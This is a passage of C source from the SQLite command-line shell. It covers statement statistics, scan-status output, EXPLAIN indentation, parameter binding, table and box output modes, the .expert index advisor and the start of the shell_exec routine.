sqlite3_stmt *pStmt = pArg->pStmt;
char z[100];
nCol = sqlite3_column_count(pStmt);
raw_printf(out, "%-36s %d\n", "Number of output columns:", nCol);
for(i=0; i<nCol; i++){
sqlite3_snprintf(sizeof(z),z,"Column %d %nname:", i, &x);
utf8_printf(out, "%-36s %s\n", z, sqlite3_column_name(pStmt,i));
#ifndef SQLITE_OMIT_DECLTYPE
sqlite3_snprintf(30, z+x, "declared type:");
utf8_printf(out, "%-36s %s\n", z, sqlite3_column_decltype(pStmt, i));
#endif
#ifdef SQLITE_ENABLE_COLUMN_METADATA
sqlite3_snprintf(30, z+x, "database name:");
utf8_printf(out, "%-36s %s\n", z, sqlite3_column_database_name(pStmt,i));
sqlite3_snprintf(30, z+x, "table name:");
utf8_printf(out, "%-36s %s\n", z, sqlite3_column_table_name(pStmt,i));
sqlite3_snprintf(30, z+x, "origin name:");
utf8_printf(out, "%-36s %s\n", z, sqlite3_column_origin_name(pStmt,i));
#endif
}
}
if( pArg->statsOn==3 ){
if( pArg->pStmt ){
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_VM_STEP, bReset);
raw_printf(pArg->out, "VM-steps: %d\n", iCur);
}
return 0;
}
displayStatLine(pArg, "Memory Used:",
"%lld (max %lld) bytes", SQLITE_STATUS_MEMORY_USED, bReset);
displayStatLine(pArg, "Number of Outstanding Allocations:",
"%lld (max %lld)", SQLITE_STATUS_MALLOC_COUNT, bReset);
if( pArg->shellFlgs & SHFLG_Pagecache ){
displayStatLine(pArg, "Number of Pcache Pages Used:",
"%lld (max %lld) pages", SQLITE_STATUS_PAGECACHE_USED, bReset);
}
displayStatLine(pArg, "Number of Pcache Overflow Bytes:",
"%lld (max %lld) bytes", SQLITE_STATUS_PAGECACHE_OVERFLOW, bReset);
displayStatLine(pArg, "Largest Allocation:",
"%lld bytes", SQLITE_STATUS_MALLOC_SIZE, bReset);
displayStatLine(pArg, "Largest Pcache Allocation:",
"%lld bytes", SQLITE_STATUS_PAGECACHE_SIZE, bReset);
#ifdef YYTRACKMAXSTACKDEPTH
displayStatLine(pArg, "Deepest Parser Stack:",
"%lld (max %lld)", SQLITE_STATUS_PARSER_STACK, bReset);
#endif
if( db ){
if( pArg->shellFlgs & SHFLG_Lookaside ){
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_LOOKASIDE_USED,
&iCur, &iHiwtr, bReset);
raw_printf(pArg->out,
"Lookaside Slots Used: %d (max %d)\n",
iCur, iHiwtr);
sqlite3_db_status(db, SQLITE_DBSTATUS_LOOKASIDE_HIT,
&iCur, &iHiwtr, bReset);
raw_printf(pArg->out, "Successful lookaside attempts: %d\n",
iHiwtr);
sqlite3_db_status(db, SQLITE_DBSTATUS_LOOKASIDE_MISS_SIZE,
&iCur, &iHiwtr, bReset);
raw_printf(pArg->out, "Lookaside failures due to size: %d\n",
iHiwtr);
sqlite3_db_status(db, SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL,
&iCur, &iHiwtr, bReset);
raw_printf(pArg->out, "Lookaside failures due to OOM: %d\n",
iHiwtr);
}
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_CACHE_USED, &iCur, &iHiwtr, bReset);
raw_printf(pArg->out, "Pager Heap Usage: %d bytes\n",
iCur);
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_CACHE_HIT, &iCur, &iHiwtr, 1);
raw_printf(pArg->out, "Page cache hits: %d\n", iCur);
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_CACHE_MISS, &iCur, &iHiwtr, 1);
raw_printf(pArg->out, "Page cache misses: %d\n", iCur);
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_CACHE_WRITE, &iCur, &iHiwtr, 1);
raw_printf(pArg->out, "Page cache writes: %d\n", iCur);
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_CACHE_SPILL, &iCur, &iHiwtr, 1);
raw_printf(pArg->out, "Page cache spills: %d\n", iCur);
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_SCHEMA_USED, &iCur, &iHiwtr, bReset);
raw_printf(pArg->out, "Schema Heap Usage: %d bytes\n",
iCur);
iHiwtr = iCur = -1;
sqlite3_db_status(db, SQLITE_DBSTATUS_STMT_USED, &iCur, &iHiwtr, bReset);
raw_printf(pArg->out, "Statement Heap/Lookaside Usage: %d bytes\n",
iCur);
}
if( pArg->pStmt ){
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_FULLSCAN_STEP,
bReset);
raw_printf(pArg->out, "Fullscan Steps: %d\n", iCur);
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_SORT, bReset);
raw_printf(pArg->out, "Sort Operations: %d\n", iCur);
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_AUTOINDEX,bReset);
raw_printf(pArg->out, "Autoindex Inserts: %d\n", iCur);
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_VM_STEP, bReset);
raw_printf(pArg->out, "Virtual Machine Steps: %d\n", iCur);
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_REPREPARE,bReset);
raw_printf(pArg->out, "Reprepare operations: %d\n", iCur);
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_RUN, bReset);
raw_printf(pArg->out, "Number of times run: %d\n", iCur);
iCur = sqlite3_stmt_status(pArg->pStmt, SQLITE_STMTSTATUS_MEMUSED, bReset);
raw_printf(pArg->out, "Memory used by prepared stmt: %d\n", iCur);
}
#ifdef __linux__
displayLinuxIoStats(pArg->out);
#endif
/* Do not remove this machine readable comment: extra-stats-output-here */
return 0;
}
/*
** Display scan stats.
*/
static void display_scanstats(
sqlite3 *db, /* Database to query */
ShellState *pArg /* Pointer to ShellState */
){
#ifndef SQLITE_ENABLE_STMT_SCANSTATUS
UNUSED_PARAMETER(db);
UNUSED_PARAMETER(pArg);
#else
int i, k, n, mx;
raw_printf(pArg->out, "-------- scanstats --------\n");
mx = 0;
for(k=0; k<=mx; k++){
double rEstLoop = 1.0;
for(i=n=0; 1; i++){
sqlite3_stmt *p = pArg->pStmt;
sqlite3_int64 nLoop, nVisit;
double rEst;
int iSid;
const char *zExplain;
if( sqlite3_stmt_scanstatus(p, i, SQLITE_SCANSTAT_NLOOP, (void*)&nLoop) ){
break;
}
sqlite3_stmt_scanstatus(p, i, SQLITE_SCANSTAT_SELECTID, (void*)&iSid);
if( iSid>mx ) mx = iSid;
if( iSid!=k ) continue;
if( n==0 ){
rEstLoop = (double)nLoop;
if( k>0 ) raw_printf(pArg->out, "-------- subquery %d -------\n", k);
}
n++;
sqlite3_stmt_scanstatus(p, i, SQLITE_SCANSTAT_NVISIT, (void*)&nVisit);
sqlite3_stmt_scanstatus(p, i, SQLITE_SCANSTAT_EST, (void*)&rEst);
sqlite3_stmt_scanstatus(p, i, SQLITE_SCANSTAT_EXPLAIN, (void*)&zExplain);
utf8_printf(pArg->out, "Loop %2d: %s\n", n, zExplain);
rEstLoop *= rEst;
raw_printf(pArg->out,
" nLoop=%-8lld nRow=%-8lld estRow=%-8lld estRow/Loop=%-8g\n",
nLoop, nVisit, (sqlite3_int64)(rEstLoop+0.5), rEst
);
}
}
raw_printf(pArg->out, "---------------------------\n");
#endif
}
/*
** Parameter azArray points to a zero-terminated array of strings. zStr
** points to a single nul-terminated string. Return non-zero if zStr
** is equal, according to strcmp(), to any of the strings in the array.
** Otherwise, return zero.
*/
static int str_in_array(const char *zStr, const char **azArray){
int i;
for(i=0; azArray[i]; i++){
if( 0==strcmp(zStr, azArray[i]) ) return 1;
}
return 0;
}
/*
** If compiled statement pSql appears to be an EXPLAIN statement, allocate
** and populate the ShellState.aiIndent[] array with the number of
** spaces each opcode should be indented before it is output.
**
** The indenting rules are:
**
** * For each "Next", "Prev", "VNext" or "VPrev" instruction, indent
** all opcodes that occur between the p2 jump destination and the opcode
** itself by 2 spaces.
**
** * For each "Goto", if the jump destination is earlier in the program
** and ends on one of:
** Yield SeekGt SeekLt RowSetRead Rewind
** or if the P1 parameter is one instead of zero,
** then indent all opcodes between the earlier instruction
** and "Goto" by 2 spaces.
*/
static void explain_data_prepare(ShellState *p, sqlite3_stmt *pSql){
const char *zSql; /* The text of the SQL statement */
const char *z; /* Used to check if this is an EXPLAIN */
int *abYield = 0; /* True if op is an OP_Yield */
int nAlloc = 0; /* Allocated size of p->aiIndent[], abYield */
int iOp; /* Index of operation in p->aiIndent[] */
const char *azNext[] = { "Next", "Prev", "VPrev", "VNext", "SorterNext", 0 };
const char *azYield[] = { "Yield", "SeekLT", "SeekGT", "RowSetRead",
"Rewind", 0 };
const char *azGoto[] = { "Goto", 0 };
/* Try to figure out if this is really an EXPLAIN statement. If this
** cannot be verified, return early. */
if( sqlite3_column_count(pSql)!=8 ){
p->cMode = p->mode;
return;
}
zSql = sqlite3_sql(pSql);
if( zSql==0 ) return;
for(z=zSql; *z==' ' || *z=='\t' || *z=='\n' || *z=='\f' || *z=='\r'; z++);
if( sqlite3_strnicmp(z, "explain", 7) ){
p->cMode = p->mode;
return;
}
for(iOp=0; SQLITE_ROW==sqlite3_step(pSql); iOp++){
int i;
int iAddr = sqlite3_column_int(pSql, 0);
const char *zOp = (const char*)sqlite3_column_text(pSql, 1);
/* Set p2 to the P2 field of the current opcode. Then, assuming that
** p2 is an instruction address, set variable p2op to the index of that
** instruction in the aiIndent[] array. p2 and p2op may be different if
** the current instruction is part of a sub-program generated by an
** SQL trigger or foreign key. */
int p2 = sqlite3_column_int(pSql, 3);
int p2op = (p2 + (iOp-iAddr));
/* Grow the p->aiIndent array as required */
if( iOp>=nAlloc ){
if( iOp==0 ){
/* Do further verfication that this is explain output. Abort if
** it is not */
static const char *explainCols[] = {
"addr", "opcode", "p1", "p2", "p3", "p4", "p5", "comment" };
int jj;
for(jj=0; jj<ArraySize(explainCols); jj++){
if( strcmp(sqlite3_column_name(pSql,jj),explainCols[jj])!=0 ){
p->cMode = p->mode;
sqlite3_reset(pSql);
return;
}
}
}
nAlloc += 100;
p->aiIndent = (int*)sqlite3_realloc64(p->aiIndent, nAlloc*sizeof(int));
if( p->aiIndent==0 ) shell_out_of_memory();
abYield = (int*)sqlite3_realloc64(abYield, nAlloc*sizeof(int));
if( abYield==0 ) shell_out_of_memory();
}
abYield[iOp] = str_in_array(zOp, azYield);
p->aiIndent[iOp] = 0;
p->nIndent = iOp+1;
if( str_in_array(zOp, azNext) ){
for(i=p2op; i<iOp; i++) p->aiIndent[i] += 2;
}
if( str_in_array(zOp, azGoto) && p2op<p->nIndent
&& (abYield[p2op] || sqlite3_column_int(pSql, 2))
){
for(i=p2op; i<iOp; i++) p->aiIndent[i] += 2;
}
}
p->iIndent = 0;
sqlite3_free(abYield);
sqlite3_reset(pSql);
}
/*
** Free the array allocated by explain_data_prepare().
*/
static void explain_data_delete(ShellState *p){
sqlite3_free(p->aiIndent);
p->aiIndent = 0;
p->nIndent = 0;
p->iIndent = 0;
}
/*
** Disable and restore .wheretrace and .selecttrace settings.
*/
static unsigned int savedSelectTrace;
static unsigned int savedWhereTrace;
static void disable_debug_trace_modes(void){
unsigned int zero = 0;
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 0, &savedSelectTrace);
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 1, &zero);
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 2, &savedWhereTrace);
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 3, &zero);
}
static void restore_debug_trace_modes(void){
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 1, &savedSelectTrace);
sqlite3_test_control(SQLITE_TESTCTRL_TRACEFLAGS, 3, &savedWhereTrace);
}
/* Create the TEMP table used to store parameter bindings */
static void bind_table_init(ShellState *p){
int wrSchema = 0;
int defensiveMode = 0;
sqlite3_db_config(p->db, SQLITE_DBCONFIG_DEFENSIVE, -1, &defensiveMode);
sqlite3_db_config(p->db, SQLITE_DBCONFIG_DEFENSIVE, 0, 0);
sqlite3_db_config(p->db, SQLITE_DBCONFIG_WRITABLE_SCHEMA, -1, &wrSchema);
sqlite3_db_config(p->db, SQLITE_DBCONFIG_WRITABLE_SCHEMA, 1, 0);
sqlite3_exec(p->db,
"CREATE TABLE IF NOT EXISTS temp.sqlite_parameters(\n"
" key TEXT PRIMARY KEY,\n"
" value\n"
") WITHOUT ROWID;",
0, 0, 0);
sqlite3_db_config(p->db, SQLITE_DBCONFIG_WRITABLE_SCHEMA, wrSchema, 0);
sqlite3_db_config(p->db, SQLITE_DBCONFIG_DEFENSIVE, defensiveMode, 0);
}
/*
** Bind parameters on a prepared statement.
**
** Parameter bindings are taken from a TEMP table of the form:
**
** CREATE TEMP TABLE sqlite_parameters(key TEXT PRIMARY KEY, value)
** WITHOUT ROWID;
**
** No bindings occur if this table does not exist. The name of the table
** begins with "sqlite_" so that it will not collide with ordinary application
** tables. The table must be in the TEMP schema.
*/
static void bind_prepared_stmt(ShellState *pArg, sqlite3_stmt *pStmt){
int nVar;
int i;
int rc;
sqlite3_stmt *pQ = 0;
nVar = sqlite3_bind_parameter_count(pStmt);
if( nVar==0 ) return; /* Nothing to do */
if( sqlite3_table_column_metadata(pArg->db, "TEMP", "sqlite_parameters",
"key", 0, 0, 0, 0, 0)!=SQLITE_OK ){
return; /* Parameter table does not exist */
}
rc = sqlite3_prepare_v2(pArg->db,
"SELECT value FROM temp.sqlite_parameters"
" WHERE key=?1", -1, &pQ, 0);
if( rc || pQ==0 ) return;
for(i=1; i<=nVar; i++){
char zNum[30];
const char *zVar = sqlite3_bind_parameter_name(pStmt, i);
if( zVar==0 ){
sqlite3_snprintf(sizeof(zNum),zNum,"?%d",i);
zVar = zNum;
}
sqlite3_bind_text(pQ, 1, zVar, -1, SQLITE_STATIC);
if( sqlite3_step(pQ)==SQLITE_ROW ){
sqlite3_bind_value(pStmt, i, sqlite3_column_value(pQ, 0));
}else{
sqlite3_bind_null(pStmt, i);
}
sqlite3_reset(pQ);
}
sqlite3_finalize(pQ);
}
/*
** UTF8 box-drawing characters. Imagine box lines like this:
**
** 1
** |
** 4 --+-- 2
** |
** 3
**
** Each box characters has between 2 and 4 of the lines leading from
** the center. The characters are here identified by the numbers of
** their corresponding lines.
*/
#define BOX_24 "\342\224\200" /* U+2500 --- */
#define BOX_13 "\342\224\202" /* U+2502 | */
#define BOX_23 "\342\224\214" /* U+250c ,- */
#define BOX_34 "\342\224\220" /* U+2510 -, */
#define BOX_12 "\342\224\224" /* U+2514 '- */
#define BOX_14 "\342\224\230" /* U+2518 -' */
#define BOX_123 "\342\224\234" /* U+251c |- */
#define BOX_134 "\342\224\244" /* U+2524 -| */
#define BOX_234 "\342\224\254" /* U+252c -,- */
#define BOX_124 "\342\224\264" /* U+2534 -'- */
#define BOX_1234 "\342\224\274" /* U+253c -|- */
/* Draw horizontal line N characters long using unicode box
** characters
*/
static void print_box_line(FILE *out, int N){
const char zDash[] =
BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24
BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24 BOX_24;
const int nDash = sizeof(zDash) - 1;
N *= 3;
while( N>nDash ){
utf8_printf(out, zDash);
N -= nDash;
}
utf8_printf(out, "%.*s", N, zDash);
}
/*
** Draw a horizontal separator for a MODE_Box table.
*/
static void print_box_row_separator(
ShellState *p,
int nArg,
const char *zSep1,
const char *zSep2,
const char *zSep3
){
int i;
if( nArg>0 ){
utf8_printf(p->out, "%s", zSep1);
print_box_line(p->out, p->actualWidth[0]+2);
for(i=1; i<nArg; i++){
utf8_printf(p->out, "%s", zSep2);
print_box_line(p->out, p->actualWidth[i]+2);
}
utf8_printf(p->out, "%s", zSep3);
}
fputs("\n", p->out);
}
/*
** Run a prepared statement and output the result in one of the
** table-oriented formats: MODE_Column, MODE_Markdown, MODE_Table,
** or MODE_Box.
**
** This is different from ordinary exec_prepared_stmt() in that
** it has to run the entire query and gather the results into memory
** first, in order to determine column widths, before providing
** any output.
*/
static void exec_prepared_stmt_columnar(
ShellState *p, /* Pointer to ShellState */
sqlite3_stmt *pStmt /* Statment to run */
){
sqlite3_int64 nRow = 0;
int nColumn = 0;
char **azData = 0;
sqlite3_int64 nAlloc = 0;
const char *z;
int rc;
sqlite3_int64 i, nData;
int j, nTotal, w, n;
const char *colSep = 0;
const char *rowSep = 0;
rc = sqlite3_step(pStmt);
if( rc!=SQLITE_ROW ) return;
nColumn = sqlite3_column_count(pStmt);
nAlloc = nColumn*4;
if( nAlloc<=0 ) nAlloc = 1;
azData = sqlite3_malloc64( nAlloc*sizeof(char*) );
if( azData==0 ) shell_out_of_memory();
for(i=0; i<nColumn; i++){
azData[i] = strdup(sqlite3_column_name(pStmt,i));
}
do{
if( (nRow+2)*nColumn >= nAlloc ){
nAlloc *= 2;
azData = sqlite3_realloc64(azData, nAlloc*sizeof(char*));
if( azData==0 ) shell_out_of_memory();
}
nRow++;
for(i=0; i<nColumn; i++){
z = (const char*)sqlite3_column_text(pStmt,i);
azData[nRow*nColumn + i] = z ? strdup(z) : 0;
}
}while( (rc = sqlite3_step(pStmt))==SQLITE_ROW );
if( nColumn>p->nWidth ){
p->colWidth = realloc(p->colWidth, nColumn*2*sizeof(int));
if( p->colWidth==0 ) shell_out_of_memory();
for(i=p->nWidth; i<nColumn; i++) p->colWidth[i] = 0;
p->nWidth = nColumn;
p->actualWidth = &p->colWidth[nColumn];
}
memset(p->actualWidth, 0, nColumn*sizeof(int));
for(i=0; i<nColumn; i++){
w = p->colWidth[i];
if( w<0 ) w = -w;
p->actualWidth[i] = w;
}
nTotal = nColumn*(nRow+1);
for(i=0; i<nTotal; i++){
z = azData[i];
if( z==0 ) z = p->nullValue;
n = strlenChar(z);
j = i%nColumn;
if( n>p->actualWidth[j] ) p->actualWidth[j] = n;
}
if( seenInterrupt ) goto columnar_end;
if( nColumn==0 ) goto columnar_end;
switch( p->cMode ){
case MODE_Column: {
colSep = " ";
rowSep = "\n";
if( p->showHeader ){
for(i=0; i<nColumn; i++){
w = p->actualWidth[i];
if( p->colWidth[i]<0 ) w = -w;
utf8_width_print(p->out, w, azData[i]);
fputs(i==nColumn-1?"\n":" ", p->out);
}
for(i=0; i<nColumn; i++){
print_dashes(p->out, p->actualWidth[i]);
fputs(i==nColumn-1?"\n":" ", p->out);
}
}
break;
}
case MODE_Table: {
colSep = " | ";
rowSep = " |\n";
print_row_separator(p, nColumn, "+");
fputs("| ", p->out);
for(i=0; i<nColumn; i++){
w = p->actualWidth[i];
n = strlenChar(azData[i]);
utf8_printf(p->out, "%*s%s%*s", (w-n)/2, "", azData[i], (w-n+1)/2, "");
fputs(i==nColumn-1?" |\n":" | ", p->out);
}
print_row_separator(p, nColumn, "+");
break;
}
case MODE_Markdown: {
colSep = " | ";
rowSep = " |\n";
fputs("| ", p->out);
for(i=0; i<nColumn; i++){
w = p->actualWidth[i];
n = strlenChar(azData[i]);
utf8_printf(p->out, "%*s%s%*s", (w-n)/2, "", azData[i], (w-n+1)/2, "");
fputs(i==nColumn-1?" |\n":" | ", p->out);
}
print_row_separator(p, nColumn, "|");
break;
}
case MODE_Box: {
colSep = " " BOX_13 " ";
rowSep = " " BOX_13 "\n";
print_box_row_separator(p, nColumn, BOX_23, BOX_234, BOX_34);
utf8_printf(p->out, BOX_13 " ");
for(i=0; i<nColumn; i++){
w = p->actualWidth[i];
n = strlenChar(azData[i]);
utf8_printf(p->out, "%*s%s%*s%s",
(w-n)/2, "", azData[i], (w-n+1)/2, "",
i==nColumn-1?" "BOX_13"\n":" "BOX_13" ");
}
print_box_row_separator(p, nColumn, BOX_123, BOX_1234, BOX_134);
break;
}
}
for(i=nColumn, j=0; i<nTotal; i++, j++){
if( j==0 && p->cMode!=MODE_Column ){
utf8_printf(p->out, "%s", p->cMode==MODE_Box?BOX_13" ":"| ");
}
z = azData[i];
if( z==0 ) z = p->nullValue;
w = p->actualWidth[j];
if( p->colWidth[j]<0 ) w = -w;
utf8_width_print(p->out, w, z);
if( j==nColumn-1 ){
utf8_printf(p->out, "%s", rowSep);
j = -1;
if( seenInterrupt ) goto columnar_end;
}else{
utf8_printf(p->out, "%s", colSep);
}
}
if( p->cMode==MODE_Table ){
print_row_separator(p, nColumn, "+");
}else if( p->cMode==MODE_Box ){
print_box_row_separator(p, nColumn, BOX_12, BOX_124, BOX_14);
}
columnar_end:
if( seenInterrupt ){
utf8_printf(p->out, "Interrupt\n");
}
nData = (nRow+1)*nColumn;
for(i=0; i<nData; i++) free(azData[i]);
sqlite3_free(azData);
}
/*
** Run a prepared statement
*/
static void exec_prepared_stmt(
ShellState *pArg, /* Pointer to ShellState */
sqlite3_stmt *pStmt /* Statment to run */
){
int rc;
if( pArg->cMode==MODE_Column
|| pArg->cMode==MODE_Table
|| pArg->cMode==MODE_Box
|| pArg->cMode==MODE_Markdown
){
exec_prepared_stmt_columnar(pArg, pStmt);
return;
}
/* perform the first step. this will tell us if we
** have a result set or not and how wide it is.
*/
rc = sqlite3_step(pStmt);
/* if we have a result set... */
if( SQLITE_ROW == rc ){
/* allocate space for col name ptr, value ptr, and type */
int nCol = sqlite3_column_count(pStmt);
void *pData = sqlite3_malloc64(3*nCol*sizeof(const char*) + 1);
if( !pData ){
rc = SQLITE_NOMEM;
}else{
char **azCols = (char **)pData; /* Names of result columns */
char **azVals = &azCols[nCol]; /* Results */
int *aiTypes = (int *)&azVals[nCol]; /* Result types */
int i, x;
assert(sizeof(int) <= sizeof(char *));
/* save off ptrs to column names */
for(i=0; i<nCol; i++){
azCols[i] = (char *)sqlite3_column_name(pStmt, i);
}
do{
/* extract the data and data types */
for(i=0; i<nCol; i++){
aiTypes[i] = x = sqlite3_column_type(pStmt, i);
if( x==SQLITE_BLOB && pArg && pArg->cMode==MODE_Insert ){
azVals[i] = "";
}else{
azVals[i] = (char*)sqlite3_column_text(pStmt, i);
}
if( !azVals[i] && (aiTypes[i]!=SQLITE_NULL) ){
rc = SQLITE_NOMEM;
break; /* from for */
}
} /* end for */
/* if data and types extracted successfully... */
if( SQLITE_ROW == rc ){
/* call the supplied callback with the result row data */
if( shell_callback(pArg, nCol, azVals, azCols, aiTypes) ){
rc = SQLITE_ABORT;
}else{
rc = sqlite3_step(pStmt);
}
}
} while( SQLITE_ROW == rc );
sqlite3_free(pData);
if( pArg->cMode==MODE_Json ){
fputs("]\n", pArg->out);
}
}
}
}
#ifndef SQLITE_OMIT_VIRTUALTABLE
/*
** This function is called to process SQL if the previous shell command
** was ".expert". It passes the SQL in the second argument directly to
** the sqlite3expert object.
**
** If successful, SQLITE_OK is returned. Otherwise, an SQLite error
** code. In this case, (*pzErr) may be set to point to a buffer containing
** an English language error message. It is the responsibility of the
** caller to eventually free this buffer using sqlite3_free().
*/
static int expertHandleSQL(
ShellState *pState,
const char *zSql,
char **pzErr
){
assert( pState->expert.pExpert );
assert( pzErr==0 || *pzErr==0 );
return sqlite3_expert_sql(pState->expert.pExpert, zSql, pzErr);
}
/*
** This function is called either to silently clean up the object
** created by the ".expert" command (if bCancel==1), or to generate a
** report from it and then clean it up (if bCancel==0).
**
** If successful, SQLITE_OK is returned. Otherwise, an SQLite error
** code. In this case, (*pzErr) may be set to point to a buffer containing
** an English language error message. It is the responsibility of the
** caller to eventually free this buffer using sqlite3_free().
*/
static int expertFinish(
ShellState *pState,
int bCancel,
char **pzErr
){
int rc = SQLITE_OK;
sqlite3expert *p = pState->expert.pExpert;
assert( p );
assert( bCancel || pzErr==0 || *pzErr==0 );
if( bCancel==0 ){
FILE *out = pState->out;
int bVerbose = pState->expert.bVerbose;
rc = sqlite3_expert_analyze(p, pzErr);
if( rc==SQLITE_OK ){
int nQuery = sqlite3_expert_count(p);
int i;
if( bVerbose ){
const char *zCand = sqlite3_expert_report(p,0,EXPERT_REPORT_CANDIDATES);
raw_printf(out, "-- Candidates -----------------------------\n");
raw_printf(out, "%s\n", zCand);
}
for(i=0; i<nQuery; i++){
const char *zSql = sqlite3_expert_report(p, i, EXPERT_REPORT_SQL);
const char *zIdx = sqlite3_expert_report(p, i, EXPERT_REPORT_INDEXES);
const char *zEQP = sqlite3_expert_report(p, i, EXPERT_REPORT_PLAN);
if( zIdx==0 ) zIdx = "(no new indexes)\n";
if( bVerbose ){
raw_printf(out, "-- Query %d --------------------------------\n",i+1);
raw_printf(out, "%s\n\n", zSql);
}
raw_printf(out, "%s\n", zIdx);
raw_printf(out, "%s\n", zEQP);
}
}
}
sqlite3_expert_destroy(p);
pState->expert.pExpert = 0;
return rc;
}
/*
** Implementation of ".expert" dot command.
*/
static int expertDotCommand(
ShellState *pState, /* Current shell tool state */
char **azArg, /* Array of arguments passed to dot command */
int nArg /* Number of entries in azArg[] */
){
int rc = SQLITE_OK;
char *zErr = 0;
int i;
int iSample = 0;
assert( pState->expert.pExpert==0 );
memset(&pState->expert, 0, sizeof(ExpertInfo));
for(i=1; rc==SQLITE_OK && i<nArg; i++){
char *z = azArg[i];
int n;
if( z[0]=='-' && z[1]=='-' ) z++;
n = strlen30(z);
if( n>=2 && 0==strncmp(z, "-verbose", n) ){
pState->expert.bVerbose = 1;
}
else if( n>=2 && 0==strncmp(z, "-sample", n) ){
if( i==(nArg-1) ){
raw_printf(stderr, "option requires an argument: %s\n", z);
rc = SQLITE_ERROR;
}else{
iSample = (int)integerValue(azArg[++i]);
if( iSample<0 || iSample>100 ){
raw_printf(stderr, "value out of range: %s\n", azArg[i]);
rc = SQLITE_ERROR;
}
}
}
else{
raw_printf(stderr, "unknown option: %s\n", z);
rc = SQLITE_ERROR;
}
}
if( rc==SQLITE_OK ){
pState->expert.pExpert = sqlite3_expert_new(pState->db, &zErr);
if( pState->expert.pExpert==0 ){
raw_printf(stderr, "sqlite3_expert_new: %s\n", zErr);
rc = SQLITE_ERROR;
}else{
sqlite3_expert_config(
pState->expert.pExpert, EXPERT_CONFIG_SAMPLE, iSample
);
}
}
return rc;
}
#endif /* ifndef SQLITE_OMIT_VIRTUALTABLE */
/*
** Execute a statement or set of statements. Print
** any result rows/columns depending on the current mode
** set via the supplied callback.
**
** This is very similar to SQLite's built-in sqlite3_exec()
** function except it takes a slightly different callback
** and callback data argument.
*/
static int shell_exec(
ShellState *pArg, /* Pointer to ShellState */
const char *zSql, /* SQL to be evaluated */
char **pzErrMsg /* Error msg written here */
){
sqlite3_stmt *pStmt = NULL; /* Statement to execute. */
int rc = SQLITE_OK; /* Return Code */
int rc2;
const char *zLeftover; /* Tail of unprocessed SQL */
sqlite3 *db = pArg->db;
if( pzErrMsg ){
*pzErrMsg = NULL;
}
#ifndef SQLITE_OMIT_VIRTUALTABLE
if( pArg->expert.pExpert ){
rc = expertHandleSQL(pArg, zSql, pzErrMsg);
return expertFinish(pArg, (rc!=SQLITE_OK), pzErrMsg);
}
#endif
while( zSql[0] && (SQLITE_OK == rc) ){
static const char *zStmtSql;
rc = sqlite3_prepare_v2(db, zSql, -1, &pStmt, &zLeftover);
if( SQLITE_OK != rc ){
if( pzErrMsg ){
*pzErrMsg = save_err_msg(db);
}
}else{
if( !pStmt ){
/* this happens for a comment or white-space */
zSql = zLeftover;
while( IsSpace(zSql[0]) ) zSql++;
continue;
}
zStmtSql = sqlite3_sql(pStmt);
if( zStmtSql==0 ) zStmtSql = "";
while( IsSpace(zStmtSql[0]) ) zStmtSql++;
/* save off the prepared statment handle and reset row count */
if( pArg ){
pArg->pStmt = pStmt;
pArg->cnt = 0;
}
/* echo the sql statement if echo on */
if( pArg && ShellHasFlag(pArg, SHFLG_Echo) ){
utf8_printf(pArg->out, "%s\n", zStmtSql ? zStmtSql : zSql);
}
/* Show the EXPLAIN QUERY PLAN if .eqp is on */
if( pArg && pArg->autoEQP && sqlite3_stmt_isexplain(pStmt)==0 ){
sqlite3_stmt *pExplain;
char *zEQP;
int triggerEQP = 0;
disable_debug_trace_modes();
sqlite3_db_config(db, SQLITE_DBCONFIG_TRIGGER_EQP, -1, &triggerEQP);
if( pArg->autoEQP>=AUTOEQP_trigger ){
sqlite3_db_config(db, SQLITE_DBCONFIG_TRIGGER_EQP, 1, 0);
}
zEQP = sqlite3_mprintf("EXPLAIN QUERY PLAN %s", zStmtSql);
rc = sqlite3_prepare_v2(db, zEQP, -1, &pExplain, 0);
if( rc==SQLITE_OK ){
while( sqlite3_step(pExplain)==SQLITE_ROW ){
const char *zEQPLine = (const char*)sqlite3_column_text(pExplain,3);
int iEqpId = sqlite3_column_int(pExplain, 0);
int iParentId = sqlite3_column_int(pExplain, 1);
if( zEQPLine==0 ) zEQPLine = "";
if( zEQPLine[0]=='-' ) eqp_render(pArg);
eqp_append(pArg, iEqpId, iParentId, zEQPLine);
}
eqp_render(pArg);
}
sqlite3_finalize(pExplain);
sqlite3_free(zEQP);
if( pArg->autoEQP>=AUTOEQP_full ){
/* Also do an EXPLAIN for ".eqp full" mode */
zEQP = sqlite3_mprintf("EXPLAIN %s", zStmtSql);
rc = sqlite3_prepare_v2(db, zEQP, -1, &pExplain, 0);
if( rc==SQLITE_OK ){
pArg->cMode = MODE_Explain;
explain_data_prepare(pArg, pExplain);
exec_prepared_stmt(pArg, pExplain);
explain_data_delete(pArg);
}
sqlite3_finalize(pExplain);
sqlite3_free(zEQP);
}
if( pArg->autoEQP>=AUTOEQP_trigger && triggerEQP==0 ){
